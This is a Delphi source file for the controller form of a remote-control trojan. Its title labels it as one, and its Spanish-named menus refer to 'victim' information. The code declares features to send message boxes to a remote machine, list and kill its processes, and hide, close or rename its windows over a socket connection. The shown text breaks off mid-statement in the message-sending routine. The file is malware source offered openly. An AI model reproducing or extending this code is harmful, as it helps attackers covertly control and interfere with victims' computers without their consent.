unitcontrol.pas

远程控制辕马

unit UnitControl;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ComCtrls, ImgList, Menus, ExtCtrls, XPMan,
  Buttons, UnitCambiarTituloWindow;

type
  TFormControl = class(TForm)
    MenuControl: TMainMenu;
    Gestores1: TMenuItem;
    Comunicacin1: TMenuItem;
    Mensajes1: TMenuItem;
    GestorProcesos1: TMenuItem;
    GestorVentanas1: TMenuItem;
    Informacin1: TMenuItem;
    Informacinvictima1: TMenuItem;
    ImageControl: TImageList;
    PageControl1: TPageControl;
    InformacionTab: TTabSheet;
    MensajesTab: TTabSheet;
    ProcesosTab: TTabSheet;
    VentanasTab: TTabSheet;
    LabelTituloMen: TLabel;
    GroupTipos: TGroupBox;
    ImageTipoError: TImage;
    ImageTipoExclamacion: TImage;
    ImageTipoInformacion: TImage;
    ImageTipoPregunta: TImage;
    IconError: TRadioButton;
    IconExclamacion: TRadioButton;
    IconInformacion: TRadioButton;
    IconPregunta: TRadioButton;
    IconNinguno: TRadioButton;
    GroupPartes: TGroupBox;
    LabelTitulo: TLabel;
    EditTitulo: TEdit;
    LabelCuerpo: TLabel;
    EditCuerpo: TMemo;
    BtnEnviarMensaje: TSpeedButton;
    GroupBotones: TGroupBox;
    SiNo: TRadioButton;
    SiNoCancelar: TRadioButton;
    AceptarCancelar: TRadioButton;
    GroupRespuesta: TGroupBox;
    Mostrar: TRadioButton;
    nomostrar: TRadioButton;
    GroupBox1: TGroupBox;
    LabelRespuesta: TLabel;
    LabelProcesos: TLabel;
    ListProcesos: TListView;
    BtnRefesProc: TSpeedButton;
    BtnMatarProc: TSpeedButton;
    LabelVentanas: TLabel;
    ListVentanas: TListView;
    BtnRefresWind: TSpeedButton;
    PopupVentanas: TPopupMenu;
    MaximizarVentana1: TMenuItem;
    MinimizarVentana1: TMenuItem;
    CerrarVentana1: TMenuItem;
    OcultarVentana1: TMenuItem;
    MostrarVentana1: TMenuItem;
    Cambiartitulodelaventana1: TMenuItem;
    Minimizartodaslasventanas1: TMenuItem;
    LabelInformacion: TLabel;
    ListInformacion: TListView;
    BtnRefresInfo: TSpeedButton;
    procedure BtnEnviarMensajeClick(Sender: TObject);
    procedure nomostrarClick(Sender: TObject);
    procedure Mensajes1Click(Sender: TObject);
    procedure Informacinvictima1Click(Sender: TObject);
    procedure GestorProcesos1Click(Sender: TObject);
    procedure GestorVentanas1Click(Sender: TObject);
    procedure BtnRefesProcClick(Sender: TObject);
    procedure BtnMatarProcClick(Sender: TObject);
    procedure BtnRefresWindClick(Sender: TObject);
    procedure ListVentanasEditing(Sender: TObject; Item: TListItem;
      var AllowEdit: Boolean);
    procedure ListProcesosEditing(Sender: TObject; Item: TListItem;
      var AllowEdit: Boolean);
    procedure ListVentanasContextPopup(Sender: TObject; MousePos: TPoint;
      var Handled: Boolean);
    procedure MaximizarVentana1Click(Sender: TObject);
    procedure MinimizarVentana1Click(Sender: TObject);
    procedure CerrarVentana1Click(Sender: TObject);
    procedure MostrarVentana1Click(Sender: TObject);
    procedure Minimizartodaslasventanas1Click(Sender: TObject);
    procedure OcultarVentana1Click(Sender: TObject);
    procedure Cambiartitulodelaventana1Click(Sender: TObject);
    procedure BtnRefresInfoClick(Sender: TObject);
    procedure ListInformacionEditing(Sender: TObject; Item: TListItem;
      var AllowEdit: Boolean);
  private
    { Private declarations }
  public
    { Public declarations }
    Server: TCustomWinSocket;
  end;

var
  FormControl: TFormControl;

implementation

uses UnitPrincipal;

{$R *.dfm}

procedure TFormControl.BtnEnviarMensajeClick(Sender: TObject);
var
tipo, botones, titulo, cuerpo, respuestam: string;
begin
if IconError.Checked = true then    //Codigo para determinar el tipo de mensaje
begin
tipo := 'tipoerror';
end;
if IconExclamacion.Checked = true then
begin
tipo := 'tipoexclamacion';
end;
if IconPregunta.Checked = true then
begin
tipo := 'tipopregunta';
end;
if IconInformacion.Checked = true then
begin
tipo := 'tipoinformacion';
end;
if IconNinguno.Checked = true then
begin
tipo := 'tiponinguno';
end; //Fin del codigo para determinar el tipo de mensaje

if SiNo.Checked = true then //Codigo pra saber los botones del mensaje
begin
botones := '4';
end;
if SiNoCancelar.Checked = true then
begin
botones := '3';
end;
if AceptarCancelar.Checked = true then
begin
botones := '1';
end;        //Fin del codigo para saber los botones q tendra el mensaje

if mostrar.Checked = true then  //Codigo para saber
begin                                     //si hay q mostrar
respuestam := 'respuestaon';              //la respuesta o no
end;               //Fin codigo para saber si hay q mostrar respuesta

titulo := EditTitulo.Text;
cuerpo := editcuerpo.Text;
Server.SendText('mesnj'+tipo+'